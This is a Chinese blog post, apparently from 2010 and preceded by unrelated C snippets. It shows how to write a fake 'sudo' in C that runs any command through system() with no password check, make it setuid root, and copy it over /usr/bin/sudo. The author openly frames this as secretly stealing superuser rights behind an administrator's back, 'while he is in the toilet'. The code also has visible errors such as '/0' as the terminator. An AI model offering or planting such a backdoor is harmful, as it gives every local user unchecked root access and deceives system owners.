cha

pid_t pid;
int status;

if(cmdstring == NULL){

return (1);
}


if((pid = fork())<0){

status = -1;
}
else if(pid == 0){
execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
-exit(127); //子进程正常执行则不会执行此语句
}
else{
while(waitpid(pid, &status, 0) < 0){
if(errno != EINTER){
status = -1;
break;
}
}
}

return status;




void ShowMem()
{
TDCHAR *pMem = TDNULL;
TDCHAR out[256];
TDINT size = 64 * 1024 *1024;
TDINT remainsize = 0;
TDDebug("showmem");
while(TRUE)
{
pMem = (char *)Malloc(size);
if(!pMem)
{

size -= 2*1024;
remainsize = size;
continue;
}
else
{
TDFree(pMem);
pMem = TDNULL;
break;
}
}
// if(remainsize)
{
sprintf(out,"!!!!!!!!!!! memory %d can use now \n ",size );//remainsize);
// TDDebug(out);
printf(out);
}
}




利用system函数窃取linux系统超级特权

Luo Weifeng 2010-9-26

原文发表至QQ空间,现在删了搞过来。


受 W.Richard Stevens , Stephen A.Rago等老前辈的启发,今天终于高出了些自己的东东。



大家都知道,在linux家族中最近几年出了个能干的Ubuntu,它里面有个命令特别与众不同--sudo

这个命令确实给普通用户提供了很大的方便。可是每次执行sudo的时候都需要有个passwd输入。

要知道程序员是很懒滴,每次输入一串乱踢八糟的东东真滴很郁闷,特别是当输入几次都出错滴

时候。这时候就应该想到去看看sudo这个家伙是怎么搞的啦。于是:

$cat /usr/bin/sudo

结果出来一大堆乱码,哦,竟然是二进制滴,悲剧了



想到ISO C给了一个很好用的东东 system() 。有个这个东东大家可能很快就能明白我要干什么了

呵呵。是了,自己搞个sudo。我系统原来的干掉。这样,呵呵,特权从此泄露。所有用户都是

超级管理员,而管理员老先生还不知道发生了什么,尽管憧憬吧。不过,至少你得有一次接触到

超级用户权限的机会。呵呵,这个好办,趁他上厕所。呵呵。邪恶……



下面将我滴sudo跟大家分享分享:

sudo.c



#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc ,char * argv[]){
char commandline[1024];
char * ptr = commandline;

if(argc < 2){
fputs("Usage: sudo commandline arg0 .../n",stderr);
exit(1);
}
for(int i = 1; argv[i] != NULL;i++){
for(int j= 0;j < strlen(argv[i]);j++){

  /*这里考虑标准IO库行缓冲最大值1024的缘故没有判断缓冲区溢出的情景,如果要在重要场合应用这个程序

    可以在此添加溢出判断*/

*ptr++ = argv[i][j];
}
*ptr++ = ' ';
}
*ptr++ = '/0';

if(system(commandline) < 0){
fputs("Err: in system!",stderr);
exit(2);
}
return 0;
}





编译:

$gcc -std=c99 sudo.c -o sudo

得到了sudo这个赝品,呵呵



接下来就是窃取超级特权的瞬间了,看好了

$sudo chown root ./sudo

$sudo chmod u+s ./sudo

$sudo chmod o+x ../sudo

替换系统sudo(这个好像有点太邪恶了,呵呵)

$sudo cp /usr/bin/sudo /usr/bin/sudo.bak

$sudo cp ./sudo /usr/bin/sudo

大功告成!!!!!!!!!!!!!!!!!!!!!!!!!!

试试你的新sudo

如果不想这么邪恶,可以将我们这个sudo放在自己的目录下,编辑登录脚本,使得我们的路径放置在

系统那个sudo的前面,这样,平常就用这个强大的赝品sudo,有必要用原来那个sudo的时候就用

$/usr/bin/sudo yourcommandline

这样滴话,就不会惹恼管理员了,自己也能安静些,其他用户没有执行你的路径的权限,也是访问不到

你这个强大的sudo滴,呵呵

注意:如果在上面的介绍中替换了系统的sudo,可以用下面的命令找回:

$cd youranothersudopath

$./sudo cp /usr/bin/sudo.bak /usr/bin/sudo

OK,又恢复原样。

呵呵呵呵呵额呵呵。尽情的享受吧,哪天郁闷了把服务器给 干了,呵呵



后记:貌似这个sudo不会造成系统的重大问题,因为好多任务都会检查实际用户ID,这样的话即使

有设置用户Id标识,但是还是不能通过部分检查,可见(Unix)linux设计的是多么好Y。

于:2010-10-2

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值